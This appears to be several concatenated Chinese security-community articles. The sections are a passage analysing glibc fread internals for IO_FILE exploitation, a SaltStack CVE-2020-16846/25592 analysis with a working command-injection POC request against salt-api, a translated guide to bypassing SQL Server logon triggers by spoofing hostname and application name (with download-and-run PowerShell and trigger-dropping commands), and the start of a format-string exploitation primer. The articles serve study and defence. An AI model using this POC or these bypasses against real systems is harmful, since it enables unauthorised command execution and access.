{
memcpy (s, fp->_IO_read_ptr, want);
fp->_IO_read_ptr += want;
want = 0;
}
else
{
if (have > 0) ## 第二部分，输入缓冲区里有部分字符，但是没有达到fread的size需求，先把已有的拷贝至目标buff
{
...
memcpy (s, fp->_IO_read_ptr, have);
s += have;
want -= have;
fp->_IO_read_ptr += have;
}
if (fp->_IO_buf_base
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF) ## 第三部分，输入缓冲区里不能满足需求，调用__underflow读入数据
break;
continue;
}
...
return n - want;
}
libc_hidden_def (_IO_file_xsgetn)
`_IO_file_xsgetn`是处理`fread`读入数据的核心函数，分为三个部分：
* 第一部分是`fp->_IO_buf_base`为空的情况，表明此时的FILE结构体中的指针未被初始化，输入缓冲区未建立，则调用`_IO_doallocbuf`去初始化指针，建立输入缓冲区。
* 第二部分是输入缓冲区里有输入，即`fp->_IO_read_ptr`小于`fp->_IO_read_end`，此时将缓冲区里的数据直接拷贝至目标buff。
* 第三部分是输入缓冲区里的数据为空或者是不能满足全部的需求，则调用`__underflow`调用系统调用读入数据。
接下来对`_IO_file_xsgetn`这三部分进行跟进并分析。
### 初始化输入缓冲区
首先是第一部分，在`fp->_IO_buf_base`为空时，也就是输入缓冲区未建立时，代码调用`_IO_doallocbuf`函数去建立输入缓冲区。跟进`_IO_doallocbuf`函数，看下它是如何初始化输入缓冲区，为输入缓冲区分配空间的，文件在`/libio/genops.c`中：
void
_IO_doallocbuf (_IO_FILE *fp)
{
if (fp->_IO_buf_base) # 如何输入缓冲区不为空，直接返回
return;
if (!(fp->_flags & _IO_UNBUFFERED) || fp->_mode > 0) #检查标志位
if (_IO_DOALLOCATE (fp) != EOF) ## 调用vtable函数
return;
_IO_setb (fp, fp->_shortbuf, fp->_shortbuf+1, 0);
}
libc_hidden_def (_IO_doallocbuf)
函数先检查`fp->_IO_buf_base`是否为空，如果不为空的话表明该输入缓冲区已被初始化，直接返回。如果为空，则检查`fp->_flags`看它是不是`_IO_UNBUFFERED`或者`fp->_mode`大于0，如果满足条件调用FILE的vtable中的`_IO_file_doallocate`，跟进去该函数，在`/libio/filedoalloc.c`中：
_IO_file_doallocate (_IO_FILE *fp)
{
_IO_size_t size;
char *p;
struct stat64 st;
...
size = _IO_BUFSIZ;
...
if (fp->_fileno >= 0 && __builtin_expect (_IO_SYSSTAT (fp, &st), 0) >= 0) # 调用`_IO_SYSSTAT`获取FILE信息
{
...
if (st.st_blksize > 0)
size = st.st_blksize;
...
}
p = malloc (size);
...
_IO_setb (fp, p, p + size, 1); # 调用`_IO_setb`设置FILE缓冲区
return 1;
}
libc_hidden_def (_IO_file_doallocate)
可以看到`_IO_file_doallocate`函数是分配输入缓冲区的实现函数，首先调用`_IO_SYSSTAT`去获取文件信息，`_IO_SYSSTAT`函数是vtable中的`__stat`函数，获取文件信息，修改相应需要申请的size。可以看到在执行完`_IO_SYSSTAT`函数后，st结构体的值为：
因此size被修改为`st.st_blksize`所对应的大小0x1000，接着调用malloc去申请内存，申请出来的堆块如下：
空间申请出来后，调用`_IO_setb`，跟进去看它干了些啥，文件在`/libio/genops.c`中：
void
_IO_setb (_IO_FILE *f, char *b, char *eb, int a)
{
...
f->_IO_buf_base = b; # 设置_IO_buf_base
f->_IO_buf_end = eb; # 设置_IO_buf_end
...
}
libc_hidden_def (_IO_setb)
函数相对比较简单的就是设置了`_IO_buf_base`和`_IO_buf_end`，可以预料到`_IO_setb`函数执行完后，fp的这两个指针被赋上值了：
到此，初始化缓冲区就完成了，函数返回`_IO_file_doallocate`后，接着`_IO_file_doallocate`也返回，回到`_IO_file_xsgetn`函数中。
### 拷贝输入缓冲区数据
初始化缓冲区完成之后，代码返回到`_IO_file_xsgetn`函数中，程序就进入到第二部分：拷贝输入缓冲区数据，如果输入缓冲区里存在已输入的数据，则把它直接拷贝到目标缓冲区里。
这部分比较简单，需要说明下的是从这里可以看出来`fp->_IO_read_ptr`指向的是输入缓冲区的起始地址，`fp->_IO_read_end`指向的是输入缓冲区的结束地址。
将`fp->_IO_read_end-fp->_IO_read_ptr`之间的数据通过`memcpy`拷贝到目标缓冲区里。
### 执行系统调用读取数据
在输入缓冲区为0或者是不能满足需求的时候则会执行最后一步`__underflow`去执行系统调用`read`读取数据，并放入到输入缓冲区里。
因为demo里第一次读取数据，此时的`fp->_IO_read_end`以及`fp->_IO_read_ptr`都是0，因此会进入到`__underflow`，跟进去细看，文件在`/libio/genops.c`中：
int
__underflow (_IO_FILE *fp)
{
# 额外的检查
...
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
...
# 调用_IO_UNDERFLOW
return _IO_UNDERFLOW (fp);
}
libc_hidden_def (__underflow)
函数稍微做一些检查就会调用`_IO_UNDERFLOW`函数，其中一个检查是如果`fp->_IO_read_ptr`小于`fp->_IO_read_end`则表明输入缓冲区里存在数据，可直接返回，否则则表示需要继续读入数据。
检查都通过的话就会调用`_IO_UNDERFLOW`函数，该函数是FILE结构体vtable里的`_IO_new_file_underflow`，跟进去看，文件在`/libio/fileops.c`里：
int
_IO_new_file_underflow (_IO_FILE *fp)
{
_IO_ssize_t count;
...
## 如果存在_IO_NO_READS标志，则直接返回
if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
## 如果输入缓冲区里存在数据，则直接返回
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
...
## 如果没有输入缓冲区，则调用_IO_doallocbuf分配输入缓冲区
if (fp->_IO_buf_base == NULL)
{
...
_IO_doallocbuf (fp);
}
...
## 设置FILE结构体指针
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
= fp->_IO_buf_base;
##调用_IO_SYSREAD函数最终执行系统调用读取数据
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
...
## 设置结构体指针
fp->_IO_read_end += count;
...
return *(unsigned char *) fp->_IO_read_ptr;
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)
这个`_IO_new_file_underflow`函数，是最终调用系统调用的地方，在最终执行系统调用之前，仍然有一些检查，整个流程为：
1. 检查FILE结构体的`_flag`标志位是否包含`_IO_NO_READS`，如果存在这个标志位则直接返回`EOF`，其中`_IO_NO_READS`标志位的定义是`#define _IO_NO_READS 4 /* Reading not allowed */`。
2. 如果`fp->_IO_buf_base`位null，则调用`_IO_doallocbuf`分配输入缓冲区。
3. 接着初始化设置FILE结构体指针，将他们都设置成`fp->_IO_buf_base`
4. 调用`_IO_SYSREAD`（vtable中的`_IO_file_read`函数），该函数最终执行系统调用read，读取文件数据，数据读入到`fp->_IO_buf_base`中，读入大小为输入缓冲区的大小`fp->_IO_buf_end - fp->_IO_buf_base`。
5. 设置输入缓冲区已有数据的size，即设置`fp->_IO_read_end`为`fp->_IO_read_end += count`。
其中第二步里面的如果`fp->_IO_buf_base`位null，则调用`_IO_doallocbuf`分配输入缓冲区，似乎有点累赘，因为之前已经分配了，这个原因我在最后会说明。
其中第四步的`_IO_SYSREAD`（vtable中的`_IO_file_read`函数）的源码比较简单，就是执行系统调用函数read去读取文件数据，文件在`libio/fileops.c`，源码如下：
_IO_ssize_t
_IO_file_read (_IO_FILE *fp, void *buf, _IO_ssize_t size)
{
return (__builtin_expect (fp->_flags2 & _IO_FLAGS2_NOTCANCEL, 0)
? read_not_cancel (fp->_fileno, buf, size)
: read (fp->_fileno, buf, size));
}
`_IO_file_underflow`函数执行完毕以后，FILE结构体中各个指针已被赋值，且文件数据已读入，输入缓冲区里已经有数据，结构体值如下，其中`fp->_IO_read_ptr`指向输入缓冲区数据的开始位置，`fp->_IO_read_end`指向输入缓冲区数据结束的位置：
函数执行完后，返回到`_IO_file_xsgetn`函数中，由于`while`循环的存在，重新执行第二部分，此时将输入缓冲区拷贝至目标缓冲区，最终返回。
至此，对于fread的源码分析结束。
## 其他输入函数
完整分析了fread函数之后，还想知道其他一些函数（scanf、gets）等函数时如何通过stdin实现输入的，我编写了源码，并将断点下在了read函数之前，看他们时如何调用去的。
首先是scanf，其最终调用read函数时栈回溯如下：
read
_IO_new_file_underflow at fileops.c
__GI__IO_default_uflow at genops.c
_IO_vfscanf_internal at vfscanf.c
__isoc99_scanf at at isoc99_scanf.c
main ()
__libc_start_main
可以看到scanf最终也是调用stdin的vtable中的`_IO_new_file_underflow`去调用read的。不过它并不是使用`_IO_file_xsgetn`，而是使用vtable中的`__uflow`，源码如下：
int
_IO_default_uflow (_IO_FILE *fp)
{
int ch = _IO_UNDERFLOW (fp);
if (ch == EOF)
return EOF;
return *(unsigned char *) fp->_IO_read_ptr++;
}
libc_hidden_def (_IO_default_uflow)
`__uflow`函数基本上啥都没干直接就调用了`_IO_new_file_underflow`因此最终也是`_IO_new_file_underflow`实现的输入。
再看看`gets`函数，函数调用栈如下，与scanf基本一致：
read
__GI__IO_file_underflow
__GI__IO_default_uflow
gets
main
__libc_start_main+240
再试了试fscanf等，仍然是一样的，仍然是最终通过`_IO_new_file_underflow`实现的输入。虽然不能说全部的io输入都是通过`_IO_new_file_underflow`函数最终实现的输入，但是应该也可以说大部分是使用`_IO_new_file_underflow`函数实现的。
但是仍然有一个问题，由于`__uflow`直接就调用了`_IO_new_file_underflow`函数，那么输入缓冲区是在哪里建立的呢，为了找到这个问题的答案，我在程序进入到fscanf函数后又在`malloc`函数下了个断点，然后栈回溯：
malloc
__GI__IO_file_doallocate
__GI__IO_doallocbuf
__GI__IO_file_underflow
__GI__IO_default_uflow
__GI__IO_vfscanf
__isoc99_fscanf
main
__libc_start_main
原来是在`__GI__IO_file_underflow`分配的空间，回到上面看该函数的源码，确实有一段判断输入缓冲区如果为空则调用`__GI__IO_doallocbuf`函数建立输入缓冲区的代码，这就解释了`__GI__IO_file_underflow`第二步中为啥还会有个输入缓冲区判断的原因了，不得不感慨，代码写的真巧妙。
## 小结
在结束之前我想总结下`fread`在执行系统调用read前对vtable里的哪些函数进行了调用，具体如下：
* `_IO_sgetn`函数调用了vtable的`_IO_file_xsgetn`。
* `_IO_doallocbuf`函数调用了vtable的`_IO_file_doallocate`以初始化输入缓冲区。
* vtable中的`_IO_file_doallocate`调用了vtable中的`__GI__IO_file_stat`以获取文件信息。
* `__underflow`函数调用了vtable中的`_IO_new_file_underflow`实现文件数据读取。
* vtable中的`_IO_new_file_underflow`调用了vtable`__GI__IO_file_read`最终去执行系统调用read。
先提一下，后续如果想通过IO
FILE实现任意读的话，最关键的函数应是`_IO_new_file_underflow`，它里面有个标志位的判断，是后面构造利用需要注意的一个比较重要条件：
## 如果存在_IO_NO_READS标志，则直接返回
if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
终于结束了，写的有些凌乱，将就看看吧。 | 社区文章 |
# SaltStack未授权访问及命令执行漏洞分析（CVE-2020-16846/25592）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、背景
### 漏洞概述：
SaltStack是一个分布式运维系统，在互联网场景中被广泛应用，有以下两个主要功能：
* 配置管理系统，能够将远程节点维护在一个预定义的状态（例如，确保安装特定的软件包并运行特定的服务）
* 分布式远程执行系统，用于在远程节点上单独或通过任意选择标准来执行命令和查询数据
2020年11月4日，SaltStack
官方发布了一则安全更新公告，其中CVE-2020-16846和CVE-2020-25592组合使用可在未授权的情况下通过salt-api接口执行任意命令。CVE-2020-25592允许任意用户调用SSH模块，CVE-2020-16846允许用户执行任意命令。salt-api虽不是默认开启配置，但绝大多数SaltStack用户会选择开启salt-api，故存在较高风险。
### 漏洞编号：
CVE-2020-16846、CVE-2020-25592
受影响版本：
• 3002
• 3001.1, 3001.2
• 3000.3, 3000.4
• 2019.2.5, 2019.2.6
• 2018.3.5
• 2017.7.4, 2017.7.8
• 2016.11.3, 2016.11.6,2016.11.10
• 2016.3.4, 2016.3.6,2016.3.8
• 2015.8.10, 2015.8.13
## 二、漏洞分析及POC
### 漏洞分析
截至2020年11月11日，补丁代码尚未与Github中master分支代码合并，故可直接从SaltStack官方Github仓库获取，目前master的代码版本为3002，系统为Mac，版本号相差较大时代码变动较大，需另作分析。
Salt Version:
Salt: 3002-56-g3e269eda82
Dependency Versions:
cffi: 1.14.3
cherrypy: unknown
dateutil: Not Installed
docker-py: Not Installed
gitdb: 4.0.5
gitpython: 3.1.11
Jinja2: 2.11.2
libgit2: Not Installed
M2Crypto: Not Installed
Mako: 1.0.7
msgpack: 1.0.0
msgpack-pure: Not Installed
mysql-python: Not Installed
pycparser: 2.19
pycrypto: Not Installed
pycryptodome: 3.9.9
pygit2: Not Installed
Python: 3.8.2 (default, Sep 24 2020, 19:37:08)
python-gnupg: Not Installed
PyYAML: 5.3.1
PyZMQ: 19.0.2
smmap: 3.0.4
timelib: Not Installed
Tornado: 4.5.3
ZMQ: 4.3.2
System Versions:
dist: darwin 19.6.0
locale: utf-8
machine: x86_64
release: 19.6.0
system: Darwin
version: 10.15.6 x86_64
salt-api REST接口默认使用cherrypy框架，从run接口的实现上可以看出通过client参数动态调用NetapiClient类中的方法。
文中指定代码位置采用以下约定：FileLocation:Classname.method()
salt/netapi/init.py:NetapiClient.run()
low参数为外部传入参数，salt.utils.args.format_call方法将参数赋值给**kwargs。
当client参数为ssh时，动态调用salt/netapi/init.py:NetapiClient.ssh()，该方法未采用任何鉴权。
salt/netapi/init.py:NetapiClient.ssh()
跟进，路径如下：
salt/netapi/init.py:NetapiClient.ssh()⇒salt/client/ssh/client.py:SSHClient.cmd_sync()⇒salt/client/ssh/client.py:SSHClient._prep_ssh()
salt/client/ssh/client.py:SSHClient._prep_ssh()
该方法将kwargs外部可控参数更新值opts变量，该变量可以理解为SaltStack系统的环境变量，使用该变量初始化salt.client.ssh.SSH。
salt/client/ssh/init.py:SSH.__init__()
priv的值从opts变量中获取，并调用salt.client.ssh.shell.gen_key()方法。
salt/client/ssh/shell.py:gen_key()
该方法中对命令进行拼接，并进行执行。当传入值为|COMMAND>{} #即可执行COMMAND命令。
### POC
由上分析可知，POC如下：
POST /run HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/x-yaml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|open%20/System/Applications/Calculator.app%3b
### 关于复现环境
1\. Mac上复现需要手动创建日志文件夹、配置文件夹等，并需要手动写入相关配置。
2\. Docker从官方环境拉取的镜像中默认没有SSH，故执行该poc时salt-api会挂掉，经测试3002版本自动重启，3000.4版本、2019.2.5版本则不会。故当salt-api挂掉时，优先考虑当前机器上是否有SSH软件。
## 三、安全建议
1\. 尽快修复。由于官方并未放出升级包，故目前仍需要手动进行修复，这里是官方安全通告和修复补丁。
2\. 如非必须使用salt-api，请关闭该功能。 | 社区文章 |
# SQL Server 登录触发器限制绕过
|
##### 译文声明
本文是翻译文章，文章原作者 Scott Sutherland，文章来源：blog.netspi.com
原文地址：<https://blog.netspi.com/bypass-sql-logon-triggers/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
对于我们来说，对直接连接到SQL Server数据库的应用进行渗透测试是非常常见的。我们偶尔会遇到一个这样的SQL
Server后端，它只允许来自预定义的主机或应用程序的连接。通常这些类型的限制是通过登录触发器强制执行的。本文我将展示如何通过使用连接字符串属性欺骗主机名和应用程序名称来绕过这些限制。这些示例将包括SSMS和PowerUpSQL。对于需要应对旧应用的渗透测试人员和开发人员来说，这应该是很有用的。
## 什么是登录触发器(Logon Trigger)
[登录触发器](https://docs.microsoft.com/en-us/sql/relational-databases/triggers/logon-triggers?view=sql-server-2017)本质上是一个存储过程，在成功验证到SQL
Server之后，但在登录会话完全建立之前执行。它们通常用于根据一天中的时间、主机名、应用程序名称和单个用户并发会话的数量限制对SQL Server的访问。
## 安装SQL Server
如果尚未安装SQL Server，可以使用以下几个资源：
1. 从[这里](https://www.microsoft.com/en-us/sql-server/sql-server-editions-express)下载并安装SQL Server。
2. 从[这里](https://docs.microsoft.com/en-us/sql/ssms/download-sql-server-management-studio-ssms?view=sql-server-2017)下载并安装SQLServerManagementStudioExpress(SSMS)。
## 创建登录触发器以限制主机名
以下是设置触发器的说明，该触发器基于连接的工作站名称来限制访问。
1. 使用SSMS以系统管理员身份登录新的SQL Server实例。
2. 首先，让我们使用下面的命令查看连接到SQL Server实例的工作站的名称。默认情况下，它应该使用连接到SQL Server实例的工作站的主机名。
SELECT HOST_NAME()
[](https://p2.ssl.qhimg.com/t01f8a1888d88cda9d0.png)
3. 创建一个登录触发器，限制对特定主机名的访问。按如下所示执行触发器。
-- Create our logon trigger
CREATE TRIGGER MyHostsOnly
ON ALL SERVER
FOR LOGON
AS
BEGIN
IF
(
-- White list of allowed hostnames are defined here.
HOST_NAME() NOT IN ('ProdBox','QaBox','DevBox','UserBox')
)
BEGIN
RAISERROR('You are not allowed to login', 16, 1);
ROLLBACK;
END
END
[](https://p0.ssl.qhimg.com/t01f79968983f376356.png)
4. 设置登录触发器后，当再次尝试使用SSMS登录时，应该会收到如下所示的错误，因为你是从列表中没有的主机名进行连接的。
[](https://p3.ssl.qhimg.com/t012f5b56cc938c5043.png)
你可能会问，“我什么时候才能真正实际使用这个工具？”通常是在我们从配置文件或反编译代码中恢复连接字符串之后，现在我们希望使用这些信息直接连接到SQL
Server。在应用渗透测试期间，这是一个非常常见的场景，但是在网络渗透测试和红队参与期间，我们还可以在打开的文件共享中找到内部应用程序和配置文件。
## 使用SSMS欺骗主机名
1. 在SSMS中打开“Connect Object Explorer”并选择options -> “Additional Connection Parameters”。这里你可以动态地设置连接字符串属性。作为例子，我们将“Workstation ID”属性设置为“DevBox”，这是我们所知道的白名单中的主机名。注意：稍后我将介绍几种识别白名单主机名的方法。
[](https://p4.ssl.qhimg.com/t014db79608246e54d0.png)
2. 点击登录。如果打开查询窗口并再次检查主机名，则应返回“DevBox”。这进一步说明我们成功地欺骗了主机名。
SELECT HOST_NAME()
[](https://p3.ssl.qhimg.com/t0121241bf970fbc201.png)
## 使用连接字符串欺骗主机名
SSMS只是用我们的“workstation
id”属性集构建一个连接字符串。下面是一个简单的连接字符串示例，该字符串将作为当前Windows用户连接到远程SQL
Server实例，并选择“Master”数据库。
Data Source=serverinstance1;Initial Catalog=Master;Integrated Security=True;
如果我们在上一节中展示的登录触发器已经实现，我们应该会看到“failed to connect”提示。但是，如果将“WorkStation
ID”属性设置为允许的主机名，则将成功登录。
Data Source=serverinstance1;Initial Catalog=Master;Integrated Security=True;Workstation ID = DevBox;
## 使用PowerUpSQL欺骗主机名
我还向PowerUpSQL的Get-SQLQuery函数添加了“WorkstationId”选项。如果有时间我将改进其他功能。现在，下面是一个示例，展示了如何绕过我们在上一节中创建的登录触发器。
1. 打开Powershell并通过你喜欢的方法加载PowerUpSQL。下面的示例演示如何直接从GitHub加载它。
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")
2. 初始连接由于触发器限制而失败。请注意，需要设置“-ReturnError”来查看服务器返回的错误。
Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Query "SELECT host_name()" -ReturnError
[](https://p5.ssl.qhimg.com/t019b68a03eff1d7452.png)
3. 现在将workStationid选项设置为“DevBox”，应该能够成功地执行查询。
Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Query "SELECT host_name()" -WorkstationId "DevBox"
[](https://p2.ssl.qhimg.com/t01b1b364804244f6c9.png)
4. 要删除触发器，可以使用下面的命令。
Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -WorkstationId "DevBox" -Query 'DROP TRIGGER MyHostsOnly on all server'
## 创建登录触发器以限制应用程序
以下是设置触发器的说明，该触发器根据连接应用程序名称限制访问。
1. 使用SSMS以系统管理员身份登录新的SQLServer实例。
2. 首先，让我们使用下面的命令查看连接到SQLServer实例的应用程序的名称。它应该返回“Microsoft SQL Server Management Studio – Query”。
SELECT APP_NAME()
[](https://p1.ssl.qhimg.com/t013dde4bacc1f1ff00.png)
3. 创建限制访问特定应用程序的登录触发器。按如下所示执行触发器。
CREATE TRIGGER MyAppsOnly
ON ALL SERVER
FOR LOGON
AS
BEGIN
IF
(
------ Set the white list of application names here
APP_NAME() NOT IN ('Application1','Application2','SuperApp3000','LegacyApp','DevApp1')
)
BEGIN
RAISERROR('You cannot connect to SQL Server from this machine', 16, 1);
ROLLBACK;
END
END
[](https://p3.ssl.qhimg.com/t013b1bfa067c773938.png)
4. 设置登录触发器后，当再次尝试使用SSMS登录时，应该会收到如下所示的错误，因为你正在从一个不在列表中的应用程序进行连接。
[](https://p2.ssl.qhimg.com/t012f5b56cc938c5043.png)
再一次，你可能会问，“我什么时候才能真正实际使用它？”一些应用程序把名称静态设置在用于连接到SQL
Server的连接字符串中。实际上，很少看到登录触发器按应用程序名称限制访问，但我们已经见过几次了。
## 使用SSMS欺骗应用程序名称
1. 在SSMS中打开“Connect Object Explorer”并选择options -> “Additional Connection Parameters”。在这里你可以动态地设置连接字符串属性。我们把“application name/应用程序名称”属性设置为“SuperApp3000”，这是一个白名单中的应用程序名称。
[](https://p1.ssl.qhimg.com/t01eb9892fe616b4e8f.png)
2. 登录。如果你打开一个查询窗口并再次检查您的应用程序名称，它应该返回“SuperApp3000”。这说明我们成功地欺骗了主机名。
SELECT APP_NAME()
[](https://p4.ssl.qhimg.com/t0172e94fbd167d688a.png)
## 使用连接字符串欺骗应用程序名称
正如我在上一节中提到的，应用程序可以使用名为“AppName”的连接字符串属性向SQL Server声明其应用程序名称。下面是示例。
Data Source=serverinstance1;Initial Catalog=Master;Integrated Security=True; Application Name =MyApp"
Data Source=serverinstance1;Initial Catalog=Master;Integrated Security=True; ApplicationName =MyApp"
Data Source=serverinstance1;Initial Catalog=Master;Integrated Security=True; AppName =MyApp"
## 使用PowerUpSQL欺骗应用程序名称
为了演示，我已经更新了PowerUpSQL的Get-SQLQuery函数，包含了“appname”选项。下面是一个基本的例子。
1. 打开Powershell并通过你喜欢的方法加载PowerUpSQL。下面的示例演示如何直接从GitHub加载。
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")
2. PowerUpSQL函数封装.NET SQL Server函数。使用.NET连接到SQLServer时，“appname”属性默认设置为“..Net SqlClient Data Provider”。但是，由于我们创建了一个新的登录触发器，它通过“appname”来限制访问，我们应该会得到以下错误。
Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Query "SELECT app_name()" -ReturnError
[](https://p4.ssl.qhimg.com/t01606f099a444d2689.png)
3. 现在将“appname”属性设置为“SuperApp3000”，应该能够成功执行查询。
Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Query "SELECT app_name()" -AppName SuperApp3000
[](https://p1.ssl.qhimg.com/t01f06b145dd831af08.png)
4. 要删除触发器，可以使用下面的命令。
Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -AppName SuperApp3000 -Query 'DROP TRIGGER MyAppsOnly on all server'
5. 现在可以连接了，不需要欺骗应用程序名称。
Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Query 'SELECT APP_NAME()'
[](https://p3.ssl.qhimg.com/t0173df813727f35db7.png)
6. 或者，也可以用任何应用程序名称。
Get-SQLQuery -Verbose -Instance MSSQLSRV04SQLSERVER2014 -AppName EvilClient -Query 'SELECT APP_NAME()'
[](https://p1.ssl.qhimg.com/t01c781cd8f1bb78544.png)
## 查找白名单主机名和应用程序名称
如果不确定登录触发器的白名单中有哪些主机名和应用程序，下面是一些发现这些主机名和应用程序的选项。
### 1\. 检查登录触发器源代码
要获得登录触发器列出的主机名和应用程序的完整列表，最好的方法是检查源代码。然而，在大多数情况下，这需要访问权限。
SELECT name,
OBJECT_DEFINITION(OBJECT_ID) as trigger_definition,
parent_class_desc,
create_date,
modify_date,
is_ms_shipped,
is_disabled
FROM sys.server_triggers
ORDER BY name ASC
[](https://p4.ssl.qhimg.com/t01133c7adaf3d7f8b7.png)
### 2\. 检查硬编码值的应用程序代码
有时候所允许的主机名和应用程序被硬编码到应用程序中。如果你正在处理.NET或Java应用程序，则可以对源代码进行反编译并检查与它们正在使用的连接字符串相关的关键字。这个方法假定你可以访问应用程序集或配置文件。[JD-GUI](http://jd.benow.ca/)和[DNSPY](https://github.com/0xd4d/dnSpy)可以派上用场。
### 3\. 检测应用流量
有时候，当应用程序启动时，从数据库服务器获取所允许的主机名和应用程序。因此，你可以使用嗅探器来获取列表。我经历过几次。
### 4\. 使用域名系统列表
如果你已经有域名账户，则可以查询Active
Directory以获得域名列表。然后循环访问该列表，直到遇到一个允许连接的列表。这假定当前域用户具有登录到SQL
Server的权限，并且白名单上的主机名与该域相关联。
### 5\. 使用MITM来存储连接
你还可以执行基于ARP的标准中间人(MITM)攻击，以拦截远程系统到SQL
Server的连接。如果连接已加密，将看不到通信内容，但能够看到哪些主机正在连接。当然，也可以使用MITM技术。
注意：如果正在进行证书验证，可能会导致数据包丢失并对生产系统产生影响，因此请谨慎使用该方法。
## 一般性建议
* 不要根据客户端容易更改的信息使用登录触发器来限制对SQL Server的访问。
* 如果希望限制对允许的系统列表的访问，请考虑使用网络或主机级防火墙规则，而不是登录触发器。
* 考虑根据用户组和分配的权限限制对SQL Server的访问，而不是使用登录触发器。
## 结束
本文我介绍了几种利用连接字符串属性来绕过由SQL
Server登录触发器强制执行的访问限制的方法。如果你必须对旧桌面应用程序执行渗透测试，希望这将是有用的。对于那些感兴趣的人，我还在这里更新了“[SQL
Server连接字符串CheatSheet](https://gist.github.com/nullbind/91c573b0e27682733f97d4e6eebe36f8)”。
## 引用
* <https://gist.github.com/nullbind/91c573b0e27682733f97d4e6eebe36f8>
* <https://docs.microsoft.com/en-us/sql/relational-databases/triggers/logon-triggers?view=sql-server-2017>
* <https://blog.sqlauthority.com/2018/04/14/sql-server-be-careful-with-logon-triggers-dont-use-host_name/>
审核人：yiwang 编辑：边边 | 社区文章 |
# 【技术分享】格式化字符串漏洞利用小结（一）
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[tianyi201612](http://bobao.360.cn/member/contribute?uid=2802113352)
稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**1、前言**
格式化字符串漏洞现在已经越来越少见了，但在CTF比赛中还是会经常遇到。通过学习这种类型的漏洞利用，可以促使我们触类旁通其他漏洞类型，从而进一步加深对软件脆弱性基本概念的理解。本文简要介绍了格式化字符串漏洞的基本原理，然后从三个方面介绍了该漏洞类型的常见利用方式，并配以相应CTF赛题作为例子。若文中有错漏，请留言指出或发邮件至[email protected]与我讨论。整个文章计划分两篇，分别为“有binary时的利用”和“无binary时的利用”。
最近发现格式化字符串相关的内容很多，但想想这篇文章是从1月份就着手开始利用业余时间写的，也花了很多心思，如果登出，希望能够帮助到与我一样摸索前行的朋友。
**2、格式化字符串漏洞基本原理**
格式化字符串漏洞在通用漏洞类型库CWE中的编号是134，其解释为“软件使用了格式化字符串作为参数，且该格式化字符串来自外部输入”。会触发该漏洞的函数很有限，主要就是printf、sprintf、fprintf等print家族函数。介绍格式化字符串原理的文章有很多，我这里就以printf函数为例，简单回顾其中的要点。
printf()函数的一般形式为printf("format",
输出表列)，其第一个参数就是格式化字符串，用来告诉程序以什么格式进行输出。正常情况下，我们是这样使用的：
char str[100];
scanf("%s",str);
printf("%s",str);
但也会有人这么用：
char str[100];
scanf("%s",str);
printf(str)
也许代码编写者的本意只是单纯打印一段字符（如“hello
world”），但如果这段字符串来源于外部用户可控的输入，则该用户完全可以在字符串中嵌入格式化字符（如%s）。那么，由于printf允许参数个数不固定，故printf会自动将这段字符当作format参数，而用其后内存中的数据匹配format参数。
以上图为例，假设调用printf(str)时的栈是这样的。
1）如str就是“hello world”，则直接输出“hello world”；
2）如str是format，比如是%2$x，则输出偏移2处的16进制数据0xdeadbeef。
通过组合变换格式化字符串参数，我们可以读取任意偏移处的数据或向任意偏移处写数据，从而达到利用格式化字符串漏洞的作用。
**3、基本的格式化字符串参数**
%c：输出字符，配上%n可用于向指定地址写数据。
%d：输出十进制整数，配上%n可用于向指定地址写数据。
%x：输出16进制数据，如%i$x表示要泄漏偏移i处4字节长的16进制数据，%i$lx表示要泄漏偏移i处8字节长的16进制数据，32bit和64bit环境下一样。
%p：输出16进制数据，与%x基本一样，只是附加了前缀0x，在32bit下输出4字节，在64bit下输出8字节，可通过输出字节的长度来判断目标环境是32bit还是64bit。
%s：输出的内容是字符串，即将偏移处指针指向的字符串输出，如%i$s表示输出偏移i处地址所指向的字符串，在32bit和64bit环境下一样，可用于读取GOT表等信息。
%n：将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置，如%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址（4字节），而%$hn表示写入的地址空间为2字节，%$hhn表示写入的地址空间为1字节，%$lln表示写入的地址空间为8字节，在32bit和64bit环境下一样。有时，直接写4字节会导致程序崩溃或等候时间过长，可以通过%$hn或%$hhn来适时调整。
